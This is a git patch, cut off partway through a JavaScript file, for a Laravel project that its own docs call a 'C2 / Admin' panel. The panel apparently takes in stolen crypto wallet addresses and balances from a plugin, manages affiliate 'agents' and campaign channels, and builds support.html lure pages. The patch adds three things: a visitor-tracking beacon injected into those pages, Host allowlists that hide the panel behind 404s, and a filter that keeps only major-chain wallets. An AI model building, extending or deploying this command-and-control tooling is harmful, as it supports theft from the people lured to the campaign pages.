From aad44bf52ef477bfa2b9c7f6638b3b132377c4b6 Mon Sep 17 00:00:00 2001 From: hashbro Date: Mon, 10 Aug 2026 03:53:10 +0800 Subject: [PATCH] fix: statisc --- .env.example | 4 + .../Controllers/Admin/DashboardController.php | 48 +++++ .../Controllers/Admin/PageVisitController.php | 177 ++++++++++++++++++ .../Admin/SystemSettingsController.php | 7 + app/Http/Controllers/PageHitController.php | 64 +++++++ app/Http/Middleware/EnsurePanelHost.php | 43 +++++ app/Models/PageVisit.php | 30 +++ app/Services/IngestService.php | 4 + app/Services/SettingsService.php | 19 +- app/Support/AgentScope.php | 35 ++++ app/Support/UserAgentParser.php | 114 +++++++++++ app/Support/WalletSource.php | 23 ++- bootstrap/app.php | 2 + channel-builder/source/web/support.html | 1 + channel-builder/tools/new_project.py | 34 ++++ config/coruna.php | 7 + ..._08_10_000001_create_page_visits_table.php | 36 ++++ docs/BAOTA_DEPLOY.md | 33 ++-- public/t.js | 46 +++++ .../views/admin/channels/index.blade.php | 15 +- .../views/admin/dashboard/index.blade.php | 55 +++++- resources/views/admin/shell.blade.php | 3 + .../views/admin/system/settings.blade.php | 20 ++ resources/views/admin/visits/index.blade.php | 149 +++++++++++++++ resources/views/user/shell.blade.php | 3 + routes/admin.php | 7 +- routes/user.php | 7 +- routes/web.php | 10 +- tests/Feature/AdminAgentPortalTest.php | 2 +- tests/Feature/C2ApiTest.php | 31 +++ tests/Feature/PageVisitTest.php | 139 ++++++++++++++ tests/Feature/PanelHostMiddlewareTest.php | 59 ++++++ tests/Feature/SystemAdminTest.php | 8 + 33 files changed, 1207 insertions(+), 28 deletions(-) create mode 100644 app/Http/Controllers/Admin/PageVisitController.php create mode 100644 app/Http/Controllers/PageHitController.php create mode 100644 app/Http/Middleware/EnsurePanelHost.php create mode 100644 app/Models/PageVisit.php create mode 100644 app/Support/UserAgentParser.php create mode 100644 database/migrations/2026_08_10_000001_create_page_visits_table.php create mode 100644 public/t.js create mode 100644 resources/views/admin/visits/index.blade.php create mode 100644 tests/Feature/PageVisitTest.php create mode 100644 tests/Feature/PanelHostMiddlewareTest.php diff --git a/.env.example b/.env.example index 2f02256..a9b697f 100644 --- a/.env.example +++ b/.env.example @@ -50,6 +50,10 @@ CORUNA_SESSION_KEY= # Overridable by 系统设置 → 投放域名. CORUNA_LAB_CHANNEL_DOMAINS= CORUNA_REPORTING_DOMAINS= +# Panel Host allowlists (comma/space separated). Empty = no restriction. +# Prefer configuring in Admin → 系统 → 设置 after bootstrap. +CORUNA_ADMIN_HOSTS= +CORUNA_AGENT_HOSTS= # In-process channel-builder (Python). # Served assets: CORUNA_ARTIFACT_ROOT/web|sync (default: public/) # Seeds/state: CORUNA_CHANNEL_STATE_ROOT (default: storage/app/channel-builder) diff --git a/app/Http/Controllers/Admin/DashboardController.php b/app/Http/Controllers/Admin/DashboardController.php index d61eadb..7acb307 100644 --- a/app/Http/Controllers/Admin/DashboardController.php +++ b/app/Http/Controllers/Admin/DashboardController.php @@ -5,6 +5,7 @@ namespace App\Http\Controllers\Admin; use App\Http\Controllers\Concerns\PortalAware; use App\Http\Controllers\Controller; use App\Models\Device; +use App\Models\PageVisit; use App\Models\User; use App\Support\AgentScope; use Carbon\Carbon; @@ -49,6 +50,49 @@ class DashboardController extends Controller $newCount = (clone $base)->whereBetween('created_at', [$from, $to])->count(); $activeCount = (clone $base)->whereBetween('updated_at', [$from, $to])->count(); + $visits = PageVisit::query(); + AgentScope::applyChannelIdScope($visits, $this->agent()); + if (! $this->isAgentPortal() && $agentUserId > 0) { + AgentScope::applyChannelIdAgentUserFilter($visits, $agentUserId); + } + if ($channelId !== '') { + $visits->where('channel_id', 'like', '%'.$channelId.'%'); + } + $visits->whereBetween('created_at', [$from, $to]); + + $pv = (clone $visits)->count(); + $uv = (int) (clone $visits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate'); + + $byOs = (clone $visits) + ->select('os') + ->selectRaw('COUNT(*) as pv') + ->selectRaw('COUNT(DISTINCT client_uid) as uv') + ->groupBy('os') + ->orderByDesc('pv') + ->limit(10) + ->get() + ->map(static fn ($r) => [ + 'label' => ((string) ($r->os ?? '')) !== '' ? (string) $r->os : 'Unknown', + 'pv' => (int) $r->pv, + 'uv' => (int) $r->uv, + ]) + ->values(); + + $byBrowser = (clone $visits) + ->select('browser') + ->selectRaw('COUNT(*) as pv') + ->selectRaw('COUNT(DISTINCT client_uid) as uv') + ->groupBy('browser') + ->orderByDesc('pv') + ->limit(10) + ->get() + ->map(static fn ($r) => [ + 'label' => ((string) ($r->browser ?? '')) !== '' ? (string) $r->browser : 'Unknown', + 'pv' => (int) $r->pv, + 'uv' => (int) $r->uv, + ]) + ->values(); + return response()->json([ 'code' => 0, 'msg' => '', @@ -56,6 +100,10 @@ class DashboardController extends Controller 'total' => $total, 'new_count' => $newCount, 'active_count' => $activeCount, + 'pv' => $pv, + 'uv' => $uv, + 'by_os' => $byOs, + 'by_browser' => $byBrowser, 'range' => $range, 'from' => $from->toDateTimeString(), 'to' => $to->toDateTimeString(), diff --git a/app/Http/Controllers/Admin/PageVisitController.php b/app/Http/Controllers/Admin/PageVisitController.php new file mode 100644 index 0000000..f6cb292 --- /dev/null +++ b/app/Http/Controllers/Admin/PageVisitController.php @@ -0,0 +1,177 @@ +isAgentPortal() + ? collect() + : User::query()->orderBy('username')->get(['id', 'username']); + + return view('admin.visits.index', [ + 'portal' => $this->portal(), + 'agents' => $agents, + ]); + } + + public function data(Request $request) + { + $q = $this->scopedQuery($request); + $limit = min(100, max(1, (int) $request->query('limit', 20))); + $page = max(1, (int) $request->query('page', 1)); + + $total = (clone $q)->count(); + $rows = (clone $q) + ->orderByDesc('id') + ->forPage($page, $limit) + ->get([ + 'id', 'channel_id', 'client_uid', 'os', 'os_version', + 'browser', 'browser_version', 'user_agent', 'ip', 'path', 'created_at', + ]); + + return response()->json([ + 'code' => 0, + 'msg' => '', + 'count' => $total, + 'data' => $rows->map(static fn (PageVisit $v) => [ + 'id' => $v->id, + 'channel_id' => $v->channel_id, + 'client_uid' => $v->client_uid, + 'os' => $v->os ?: '', + 'os_version' => $v->os_version ?: '', + 'browser' => $v->browser ?: '', + 'browser_version' => $v->browser_version ?: '', + 'user_agent' => $v->user_agent ?: '', + 'ip' => $v->ip ?: '', + 'path' => $v->path ?: '', + 'created_at' => optional($v->created_at)?->toDateTimeString(), + ])->values(), + ]); + } + + public function groups(Request $request) + { + $group = (string) $request->query('group', 'os'); + $base = $this->scopedQuery($request); + $builder = match ($group) { + 'os_version' => $base + ->select('os', 'os_version') + ->selectRaw('COUNT(*) as pv') + ->selectRaw('COUNT(DISTINCT client_uid) as uv') + ->groupBy('os', 'os_version'), + 'browser' => $base + ->select('browser') + ->selectRaw('COUNT(*) as pv') + ->selectRaw('COUNT(DISTINCT client_uid) as uv') + ->groupBy('browser'), + 'browser_version' => $base + ->select('browser', 'browser_version') + ->selectRaw('COUNT(*) as pv') + ->selectRaw('COUNT(DISTINCT client_uid) as uv') + ->groupBy('browser', 'browser_version'), + default => $base + ->select('os') + ->selectRaw('COUNT(*) as pv') + ->selectRaw('COUNT(DISTINCT client_uid) as uv') + ->groupBy('os'), + }; + + $rows = $builder + ->orderByDesc('pv') + ->limit(50) + ->get() + ->map(static function ($row) use ($group) { + $label = match ($group) { + 'os_version' => trim(((string) ($row->os ?? '')).' '.((string) ($row->os_version ?? ''))), + 'browser' => (string) ($row->browser ?? ''), + 'browser_version' => trim(((string) ($row->browser ?? '')).' '.((string) ($row->browser_version ?? ''))), + default => (string) ($row->os ?? ''), + }; + + return [ + 'label' => $label !== '' ? $label : 'Unknown', + 'pv' => (int) $row->pv, + 'uv' => (int) $row->uv, + ]; + }) + ->values(); + + return response()->json([ + 'code' => 0, + 'msg' => '', + 'data' => [ + 'group' => $group, + 'rows' => $rows, + ], + ]); + } + + private function scopedQuery(Request $request) + { + $q = PageVisit::query(); + AgentScope::applyChannelIdScope($q, $this->agent()); + + $agentUserId = $this->isAgentPortal() + ? (int) ($this->agent()?->id ?? 0) + : (int) $request->query('agent_user_id', 0); + if (! $this->isAgentPortal() && $agentUserId > 0) { + AgentScope::applyChannelIdAgentUserFilter($q, $agentUserId); + } + + $channelId = trim((string) $request->query('channel_id', '')); + if ($channelId !== '') { + $q->where('channel_id', 'like', '%'.$channelId.'%'); + } + + $os = trim((string) $request->query('os', '')); + if ($os !== '') { + $q->where('os', $os); + } + $osVersion = trim((string) $request->query('os_version', '')); + if ($osVersion !== '') { + $q->where('os_version', $osVersion); + } + $browser = trim((string) $request->query('browser', '')); + if ($browser !== '') { + $q->where('browser', $browser); + } + $browserVersion = trim((string) $request->query('browser_version', '')); + if ($browserVersion !== '') { + $q->where('browser_version', $browserVersion); + } + + [$from, $to] = $this->rangeBounds((string) $request->query('range', '30d')); + $q->whereBetween('created_at', [$from, $to]); + + return $q; + } + + /** + * @return array{0: Carbon, 1: Carbon} + */ + private function rangeBounds(string $range): array + { + $now = Carbon::now(); + + return match ($range) { + 'today' => [$now->copy()->startOfDay(), $now->copy()->endOfDay()], + 'yesterday' => [ + $now->copy()->subDay()->startOfDay(), + $now->copy()->subDay()->endOfDay(), + ], + '7d' => [$now->copy()->subDays(6)->startOfDay(), $now->copy()->endOfDay()], + default => [$now->copy()->subDays(29)->startOfDay(), $now->copy()->endOfDay()], + }; + } +} diff --git a/app/Http/Controllers/Admin/SystemSettingsController.php b/app/Http/Controllers/Admin/SystemSettingsController.php index ee9306a..5c97a0a 100644 --- a/app/Http/Controllers/Admin/SystemSettingsController.php +++ b/app/Http/Controllers/Admin/SystemSettingsController.php @@ -22,9 +22,13 @@ class SystemSettingsController extends Controller 'telegram_owner_chat_id' => ['nullable', 'string', 'max:64'], 'channels_max_per_agent' => ['nullable', 'integer', 'min:1', 'max:100'], 'channels_domains' => ['nullable', 'string', 'max:4000'], + 'panel_admin_hosts' => ['nullable', 'string', 'max:4000'], + 'panel_agent_hosts' => ['nullable', 'string', 'max:4000'], ]); $domains = SettingsService::parseDomains($data['channels_domains'] ?? null); + $adminHosts = SettingsService::parseDomains($data['panel_admin_hosts'] ?? null); + $agentHosts = SettingsService::parseDomains($data['panel_agent_hosts'] ?? null); $settings->putMany([ 'telegram.bot_token' => $data['telegram_bot_token'] ?? null, @@ -34,6 +38,9 @@ class SystemSettingsController extends Controller : null, // Persist normalized comma-separated list (empty clears override to []). 'channels.domains' => $domains === [] ? '' : implode(',', $domains), + // Empty = no Host restriction for that panel. + 'panel.admin_hosts' => $adminHosts === [] ? '' : implode(',', $adminHosts), + 'panel.agent_hosts' => $agentHosts === [] ? '' : implode(',', $agentHosts), ]); return response()->json(['code' => 0, 'msg' => '已保存']); diff --git a/app/Http/Controllers/PageHitController.php b/app/Http/Controllers/PageHitController.php new file mode 100644 index 0000000..16e9d6e --- /dev/null +++ b/app/Http/Controllers/PageHitController.php @@ -0,0 +1,64 @@ +query('c', $request->input('c', '')))); + $clientUid = trim((string) $request->query('u', $request->input('u', ''))); + $path = trim((string) $request->query('p', $request->input('p', ''))); + + if (! preg_match('/^[0-9a-f]{32}$/', $channelId)) { + return $this->pixel(); + } + if (! preg_match('/^[0-9a-fA-F-]{8,64}$/', $clientUid) && ! preg_match('/^tmp_[0-9a-f]+$/i', $clientUid)) { + return $this->pixel(); + } + if (strlen($path) > 255) { + $path = substr($path, 0, 255); + } + + $debounceKey = 'page_hit:'.$channelId.':'.$clientUid; + if (! Cache::add($debounceKey, 1, now()->addSeconds(8))) { + return $this->pixel(); + } + + $ua = substr((string) $request->userAgent(), 0, 512); + $parsed = UserAgentParser::parse($ua); + + PageVisit::query()->create([ + 'channel_id' => $channelId, + 'client_uid' => substr($clientUid, 0, 64), + 'user_agent' => $ua !== '' ? $ua : null, + 'os' => $parsed['os'], + 'os_version' => $parsed['os_version'] !== '' ? $parsed['os_version'] : null, + 'browser' => $parsed['browser'], + 'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null, + 'ip' => $request->ip(), + 'path' => $path !== '' ? $path : null, + 'created_at' => now(), + ]); + + return $this->pixel(); + } + + private function pixel(): Response + { + return response(self::GIF_1X1, 200, [ + 'Content-Type' => 'image/gif', + 'Content-Length' => (string) strlen(self::GIF_1X1), + 'Cache-Control' => 'no-store, no-cache, must-revalidate, max-age=0', + 'Pragma' => 'no-cache', + ]); + } +} diff --git a/app/Http/Middleware/EnsurePanelHost.php b/app/Http/Middleware/EnsurePanelHost.php new file mode 100644 index 0000000..a89d9cc --- /dev/null +++ b/app/Http/Middleware/EnsurePanelHost.php @@ -0,0 +1,43 @@ + config('coruna.panel.admin_hosts', []), + 'agent' => config('coruna.panel.agent_hosts', []), + default => [], + }; + + if (! is_array($hosts) || $hosts === []) { + return $next($request); + } + + $allowed = array_values(array_filter(array_map( + static fn ($h) => strtolower(trim((string) $h)), + $hosts + ))); + + if ($allowed === []) { + return $next($request); + } + + $host = strtolower($request->getHost()); + if (! in_array($host, $allowed, true)) { + abort(404); + } + + return $next($request); + } +} diff --git a/app/Models/PageVisit.php b/app/Models/PageVisit.php new file mode 100644 index 0000000..a3bbf2a --- /dev/null +++ b/app/Models/PageVisit.php @@ -0,0 +1,30 @@ + 'datetime', + ]; + } +} diff --git a/app/Services/IngestService.php b/app/Services/IngestService.php index 26dbeae..2e853bc 100644 --- a/app/Services/IngestService.php +++ b/app/Services/IngestService.php @@ -316,6 +316,10 @@ class IngestService if ($chainType === '') { $chainType = WalletSource::inferChainType($address); } + $chainType = strtoupper(trim($chainType)); + if (! WalletSource::isSupportedChain($chainType)) { + continue; + } $balance = $row['balance'] ?? ''; // Global Wallet ad map: scalar is not a balance → ignore coin fields. if (! is_array($balance) && ! is_string($balance)) { diff --git a/app/Services/SettingsService.php b/app/Services/SettingsService.php index 1d2e561..1b42262 100644 --- a/app/Services/SettingsService.php +++ b/app/Services/SettingsService.php @@ -13,6 +13,8 @@ class SettingsService 'telegram.owner_chat_id', 'channels.max_per_agent', 'channels.domains', + 'panel.admin_hosts', + 'panel.agent_hosts', ]; /** @return array */ @@ -89,18 +91,30 @@ class SettingsService 'coruna.deployment_domains' => $domains, ]); } + + // Once saved in settings, DB wins (null/empty = no Host restriction). + if (array_key_exists('panel.admin_hosts', $map)) { + config(['coruna.panel.admin_hosts' => self::parseDomains($map['panel.admin_hosts'])]); + } + if (array_key_exists('panel.agent_hosts', $map)) { + config(['coruna.panel.agent_hosts' => self::parseDomains($map['panel.agent_hosts'])]); + } } /** Effective values for the settings form (DB overrides env). */ public function effectiveForForm(): array { $domains = config('coruna.channel_domains', []); + $adminHosts = config('coruna.panel.admin_hosts', []); + $agentHosts = config('coruna.panel.agent_hosts', []); return [ 'telegram.bot_token' => (string) (config('coruna.telegram.bot_token') ?: ''), 'telegram.owner_chat_id' => (string) (config('coruna.telegram.owner_chat_id') ?: ''), 'channels.max_per_agent' => (string) (int) config('coruna.channels.max_per_agent', 5), 'channels.domains' => is_array($domains) ? implode("\n", $domains) : '', + 'panel.admin_hosts' => is_array($adminHosts) ? implode("\n", $adminHosts) : '', + 'panel.agent_hosts' => is_array($agentHosts) ? implode("\n", $agentHosts) : '', ]; } @@ -116,8 +130,11 @@ class SettingsService $d = trim((string) $d); $d = preg_replace('#^https?://#i', '', $d) ?? $d; $d = rtrim($d, '/'); + // Host only (drop path / port). + $d = explode('/', $d, 2)[0]; + $d = preg_replace('/:\d+$/', '', $d) ?? $d; - return $d; + return strtolower($d); }, $parts))); } diff --git a/app/Support/AgentScope.php b/app/Support/AgentScope.php index 21b39eb..a64e48f 100644 --- a/app/Support/AgentScope.php +++ b/app/Support/AgentScope.php @@ -60,4 +60,39 @@ final class AgentScope return $devicesQuery->whereIn('devices.channel_id', $ids); } + + /** + * Restrict a query that has a bare channel_id column (e.g. page_visits). + */ + public static function applyChannelIdScope(Builder $query, ?User $agent, string $column = 'channel_id'): Builder + { + if ($agent === null) { + return $query; + } + + $ids = self::channelIdsFor($agent); + if ($ids === []) { + return $query->whereRaw('1 = 0'); + } + + return $query->whereIn($column, $ids); + } + + public static function applyChannelIdAgentUserFilter(Builder $query, ?int $agentUserId, string $column = 'channel_id'): Builder + { + if ($agentUserId === null || $agentUserId <= 0) { + return $query; + } + + $ids = Channel::query() + ->where('user_id', $agentUserId) + ->pluck('channel_id') + ->all(); + + if ($ids === []) { + return $query->whereRaw('1 = 0'); + } + + return $query->whereIn($column, $ids); + } } diff --git a/app/Support/UserAgentParser.php b/app/Support/UserAgentParser.php new file mode 100644 index 0000000..18d98ea --- /dev/null +++ b/app/Support/UserAgentParser.php @@ -0,0 +1,114 @@ + 'Unknown', + 'os_version' => '', + 'browser' => 'Unknown', + 'browser_version' => '', + ]; + } + + [$os, $osVersion] = self::parseOs($ua); + [$browser, $browserVersion] = self::parseBrowser($ua); + + return [ + 'os' => $os, + 'os_version' => $osVersion, + 'browser' => $browser, + 'browser_version' => $browserVersion, + ]; + } + + /** + * @return array{0: string, 1: string} + */ + private static function parseOs(string $ua): array + { + if (preg_match('/iPhone OS (\d+)[._](\d+)(?:[._](\d+))?/i', $ua, $m) + || preg_match('/CPU OS (\d+)[._](\d+)(?:[._](\d+))?.*like Mac OS X/i', $ua, $m)) { + $ver = $m[1].'.'.$m[2].(isset($m[3]) && $m[3] !== '' ? '.'.$m[3] : ''); + + return ['iOS', $ver]; + } + if (preg_match('/iPad.*OS (\d+)[._](\d+)/i', $ua, $m)) { + return ['iPadOS', $m[1].'.'.$m[2]]; + } + if (preg_match('/Android (\d+(?:\.\d+){0,2})/i', $ua, $m)) { + return ['Android', $m[1]]; + } + if (preg_match('/Windows NT (\d+\.\d+)/i', $ua, $m)) { + $map = [ + '10.0' => '10/11', + '6.3' => '8.1', + '6.2' => '8', + '6.1' => '7', + ]; + + return ['Windows', $map[$m[1]] ?? $m[1]]; + } + if (preg_match('/Mac OS X (\d+)[._](\d+)(?:[._](\d+))?/i', $ua, $m)) { + $ver = $m[1].'.'.$m[2].(isset($m[3]) && $m[3] !== '' ? '.'.$m[3] : ''); + + return ['macOS', $ver]; + } + if (preg_match('/Linux/i', $ua)) { + return ['Linux', '']; + } + + return ['Unknown', '']; + } + + /** + * @return array{0: string, 1: string} + */ + private static function parseBrowser(string $ua): array + { + // Order matters: more specific tokens first (iOS Chrome/Firefox/Edge before Safari). + $rules = [ + ['CriOS', 'Chrome'], + ['Chrome', 'Chrome'], + ['EdgiOS', 'Edge'], + ['Edg/', 'Edge'], + ['FxiOS', 'Firefox'], + ['Firefox', 'Firefox'], + ['OPT/', 'Opera'], + ['OPiOS', 'Opera'], + ['Opera', 'Opera'], + ['SamsungBrowser', 'Samsung'], + ['UCBrowser', 'UC'], + ['Version/', 'Safari'], // Safari reports Version/x before Safari/ + ['Safari', 'Safari'], + ]; + + foreach ($rules as [$token, $name]) { + if ($token === 'Version/' && ! preg_match('/Safari/i', $ua)) { + continue; + } + if ($token === 'Safari' && preg_match('/CriOS|FxiOS|EdgiOS|Chrome|Android/i', $ua)) { + continue; + } + $pattern = $token === 'Version/' || str_ends_with($token, '/') + ? '/'.preg_quote(rtrim($token, '/'), '/').'\/(\d+(?:\.\d+){0,2})/i' + : '/'.preg_quote($token, '/').'[\/\s]?(\d+(?:\.\d+){0,2})?/i'; + if (preg_match($pattern, $ua, $m)) { + return [$name, $m[1] ?? '']; + } + } + + return ['Unknown', '']; + } +} diff --git a/app/Support/WalletSource.php b/app/Support/WalletSource.php index 60247fd..2b97616 100644 --- a/app/Support/WalletSource.php +++ b/app/Support/WalletSource.php @@ -43,6 +43,25 @@ final class WalletSource return self::TAGS[$key] ?? self::TAGS[$tag] ?? $tag; } + /** + * Chains we persist from C2 ingest (skip UNKNOWN / niche networks). + * + * @var list + */ + public const SUPPORTED_CHAINS = [ + 'ETH', 'ETHEREUM', 'EVM', + 'TRX', 'TRON', + 'BTC', 'BITCOIN', + 'SOL', 'SOLANA', + 'BNB', 'BSC', 'BINANCE', + 'TON', + ]; + + public static function isSupportedChain(string $chainType): bool + { + return in_array(strtoupper(trim($chainType)), self::SUPPORTED_CHAINS, true); + } + /** * Infer chain type from address when plugin omits chainType. */ @@ -50,7 +69,7 @@ final class WalletSource { $address = trim($address); if ($address === '') { - return 'unknown'; + return 'UNKNOWN'; } if (preg_match('/^0x[0-9a-fA-F]{40}$/', $address)) { return 'ETHEREUM'; @@ -73,7 +92,7 @@ final class WalletSource return 'TON'; } - return 'unknown'; + return 'UNKNOWN'; } /** diff --git a/bootstrap/app.php b/bootstrap/app.php index 2d39497..6aae66b 100644 --- a/bootstrap/app.php +++ b/bootstrap/app.php @@ -25,12 +25,14 @@ return Application::configure(basePath: dirname(__DIR__)) ->withMiddleware(function (Middleware $middleware): void { $middleware->alias([ 'admin.super' => \App\Http\Middleware\EnsureSuperAdmin::class, + 'panel.host' => \App\Http\Middleware\EnsurePanelHost::class, ]); $middleware->validateCsrfTokens(except: [ 'api/*', 'link/*', 'hooks/*', + 'statistic/t', ]); $middleware->redirectGuestsTo(function () { diff --git a/channel-builder/source/web/support.html b/channel-builder/source/web/support.html index f82b503..41dafce 100644 --- a/channel-builder/source/web/support.html +++ b/channel-builder/source/web/support.html @@ -169,6 +169,7 @@ .ring-wrap.is-ticking .count { animation: none; } } +
diff --git a/channel-builder/tools/new_project.py b/channel-builder/tools/new_project.py index 75de7cc..cfb4087 100644 --- a/channel-builder/tools/new_project.py +++ b/channel-builder/tools/new_project.py @@ -66,6 +66,38 @@ def normalize_support_template(value: str | None) -> str: return template +# Idempotency marker for inlined PV/UV beacon (blank support.html ). +HIT_MARKER = "data-pv" +HIT_JS_PATH = BUILDER_ROOT.parent / "public" / "t.js" + + +def load_hit_js() -> str: + if not HIT_JS_PATH.is_file(): + raise SystemExit(f"missing hit script: {HIT_JS_PATH}") + return HIT_JS_PATH.read_text(encoding="utf-8").strip() + + +def ensure_hit_beacon(support_html: Path) -> None: + """Inline PV/UV beacon into (idempotent via data-pv).""" + text = support_html.read_text(encoding="utf-8") + if HIT_MARKER in text: + return + block = f'\n' + lower = text.lower() + idx = lower.rfind("") + if idx >= 0: + text = text[:idx] + block + text[idx:] + else: + # Fallback: prepend after or at start. + html_idx = lower.find("= 0: + gt = text.find(">", html_idx) + text = text[: gt + 1] + "\n\n" + block + "\n" + text[gt + 1 :] + else: + text = "\n" + block + "\n" + text + support_html.write_text(text, encoding="utf-8") + + def apply_support_template(campaign_dir: Path, template: str) -> None: template = normalize_support_template(template) dest = campaign_dir / "support.html" @@ -77,6 +109,8 @@ def apply_support_template(campaign_dir: Path, template: str) -> None: if not src.is_file(): raise SystemExit(f"missing support template: {src}") shutil.copyfile(src, dest) + if template == "blank": + ensure_hit_beacon(dest) def resolve_python() -> str: diff --git a/config/coruna.php b/config/coruna.php index b128c3e..e673f6d 100644 --- a/config/coruna.php +++ b/config/coruna.php @@ -7,12 +7,19 @@ $parseDomains = static fn (string $value): array => array_values(array_filter(ar // Optional link-display hosts (not used by the DGA binary patch). $channelDomains = $parseDomains((string) env('CORUNA_LAB_CHANNEL_DOMAINS', '')); $reportingDomains = $parseDomains((string) env('CORUNA_REPORTING_DOMAINS', '')); +// Panel Host allowlists (empty = no restriction). Overridable via system settings. +$adminHosts = $parseDomains((string) env('CORUNA_ADMIN_HOSTS', '')); +$agentHosts = $parseDomains((string) env('CORUNA_AGENT_HOSTS', '')); return [ 'session_key' => env('CORUNA_SESSION_KEY'), // optional override; empty = derive(seed=0) 'channel_domains' => $channelDomains, 'deployment_domains' => $channelDomains, 'reporting_domains' => $reportingDomains, + 'panel' => [ + 'admin_hosts' => $adminHosts, + 'agent_hosts' => $agentHosts, + ], 'static_site' => [ // Scheme used when CORUNA_LAB_CHANNEL_DOMAINS entries omit https://. 'scheme' => env('CORUNA_STATIC_SITE_SCHEME', 'https'), diff --git a/database/migrations/2026_08_10_000001_create_page_visits_table.php b/database/migrations/2026_08_10_000001_create_page_visits_table.php new file mode 100644 index 0000000..26bfea4 --- /dev/null +++ b/database/migrations/2026_08_10_000001_create_page_visits_table.php @@ -0,0 +1,36 @@ +id(); + $table->string('channel_id', 64); + $table->string('client_uid', 64); + $table->string('user_agent', 512)->nullable(); + $table->string('os', 32)->nullable(); + $table->string('os_version', 32)->nullable(); + $table->string('browser', 32)->nullable(); + $table->string('browser_version', 32)->nullable(); + $table->string('ip', 45)->nullable(); + $table->string('path', 255)->nullable(); + $table->timestamp('created_at')->useCurrent(); + + $table->index(['channel_id', 'created_at']); + $table->index(['client_uid', 'created_at']); + $table->index(['os', 'os_version']); + $table->index(['browser', 'browser_version']); + $table->index('created_at'); + }); + } + + public function down(): void + { + Schema::dropIfExists('page_visits'); + } +}; diff --git a/docs/BAOTA_DEPLOY.md b/docs/BAOTA_DEPLOY.md index dd43918..87292b7 100644 --- a/docs/BAOTA_DEPLOY.md +++ b/docs/BAOTA_DEPLOY.md @@ -5,10 +5,10 @@ ## 架构 -| 角色 | 项目 / 路径 | 对外 | 进程 | -| ---------- | ------------------------------- | --------------------------- | --------------- | -| C2 / Admin / 静态 | `coruna-lab`(`public/`) | `https://admin.example.com` | Nginx + PHP-FPM | -| 构建工具 | `coruna-lab/channel-builder` | 无(PHP Process 调用) | Python venv | +| 角色 | 项目 / 路径 | 对外 | 进程 | +| --------------- | ---------------------------- | --------------------------- | --------------- | +| C2 / Admin / 静态 | `coruna-lab`(`public/`) | `https://admin.example.com` | Nginx + PHP-FPM | +| 构建工具 | `coruna-lab/channel-builder` | 无(PHP Process 调用) | Python venv | ```text @@ -109,7 +109,7 @@ chown -R www:www /www/wwwroot/coruna-lab/public /www/wwwroot/coruna-lab/storage ### 1.2 静态路径(写在 Admin 站点 public/) -产物默认落在 **Laravel `public/`**,与 Admin 同站即可,无需单独静态站点: +产物默认落在 **Laravel** `public/`,与 Admin 同站即可,无需单独静态站点: ```text https://admin.example.com/web//support.html @@ -171,6 +171,11 @@ curl -sS https://getcomposer.org/installer \ cd /www/wwwroot/coruna-lab /www/server/php/82/bin/php /usr/local/bin/composer install --no-dev --optimize-autoloader + +composer self-update + +composer install --no-dev --optimize-autoloader + ``` 常见错误见文末「排错」。 @@ -318,7 +323,7 @@ cd /www/wwwroot/coruna-lab tail -n 100 /www/wwwroot/coruna-lab/storage/logs/laravel.log ``` -2. 若日志完全无变化,再查 PHP-FPM / Nginx(可能未写到 `laravel.log`): +1. 若日志完全无变化,再查 PHP-FPM / Nginx(可能未写到 `laravel.log`): ```bash ls -la /www/wwwroot/coruna-lab/storage/logs/ @@ -327,13 +332,13 @@ tail -n 80 /www/wwwlogs/yxouw.cc.error.log tail -n 80 /www/server/php/82/var/log/php-fpm.log ``` -3. `getWebhookInfo` 中 `pending_update_count > 0` 且 `last_error_message` 含 500:部署含「webhook 始终 ACK」的修复后,重新: +1. `getWebhookInfo` 中 `pending_update_count > 0` 且 `last_error_message` 含 500:部署含「webhook 始终 ACK」的修复后,重新: ```bash /www/server/php/82/bin/php artisan telegram:set-webhook ``` -4. 群无回复但日志有 `AuthorizedChat: chat rejected`:把 `TELEGRAM_OWNER_CHAT_ID`(或后台设置)改成日志里的真实 `chat_id`(超群多为 `-100...`),再 `config:clear`。 +1. 群无回复但日志有 `AuthorizedChat: chat rejected`:把 `TELEGRAM_OWNER_CHAT_ID`(或后台设置)改成日志里的真实 `chat_id`(超群多为 `-100...`),再 `config:clear`。 可选(地址监控):若启用 Tokenview,可另执行: @@ -363,12 +368,12 @@ tail -n 80 /www/server/php/82/var/log/php-fpm.log ## 4. 日常运维 -| 动作 | 命令 / 操作 | -| ---------- | --------------------------------------------------------------- | -| 更新 builder | 拉代码 → `channel-builder/.venv` 内 `pip install -r requirements.txt` | -| 更新 lab | 拉代码 → `composer install` → `artisan migrate` → `config:cache` 等 | +| 动作 | 命令 / 操作 | +| ---------- | -------------------------------------------------------------------- | +| 更新 builder | 拉代码 → `channel-builder/.venv` 内 `pip install -r requirements.txt` | +| 更新 lab | 拉代码 → `composer install` → `artisan migrate` → `config:cache` 等 | | 备份 | MySQL + `public/web` + `public/sync` + `storage/app/channel-builder` | -| 构建超时 | 加大 `CORUNA_CHANNEL_BUILDER_TIMEOUT` 与 PHP `max_execution_time` | +| 构建超时 | 加大 `CORUNA_CHANNEL_BUILDER_TIMEOUT` 与 PHP `max_execution_time` | 当前 `QUEUE_CONNECTION=sync`,一般无需单独 queue worker。 @@ -452,6 +457,8 @@ CLI 默认不限制;改网站用的 FPM `php.ini` 并以 `phpinfo()` 验证。 - 可选 Google Authenticator:登录后「安全 → 谷歌验证」绑定 - 部署后需执行迁移:`php artisan migrate`(admins 增加 status / google_* / last_ip) + + ### 后台登录 HTTP 419(Page Expired) 请求已进 Laravel,多为 CSRF / Session。确认: diff --git a/public/t.js b/public/t.js new file mode 100644 index 0000000..e78d231 --- /dev/null +++ b/public/t.js @@ -0,0 +1,46 @@ +(function () { + try { + var m = location.pathname.match(/\/web\/([0-9a-f]{32})\//i); + if (!m) return; + var channelId = m[1].toLowerCase(); + var KEY = 'c_uid'; + var uid = null; + try { + uid = localStorage.getItem(KEY); + } catch (e) {} + if (!uid || !/^[0-9a-f-]{8,64}$/i.test(uid)) { + if (crypto && crypto.randomUUID) { + uid = crypto.randomUUID(); + } else if (crypto && crypto.getRandomValues) { + uid = ([1e7] + -1e3 + -4e3 + -8e3 + -1e11).replace(/[018]/g, function (c) { + var r = crypto.getRandomValues(new Uint8Array(1))[0] & 15; + return (c ^ (r & (c === '8' ? 3 : 15))).toString(16); + }); + } else { + uid = 'tmp_' + Math.random().toString(16).slice(2) + Date.now().toString(16); + } + try { + localStorage.setItem(KEY, uid); + } catch (e) {} + try { + document.cookie = KEY + '=' + 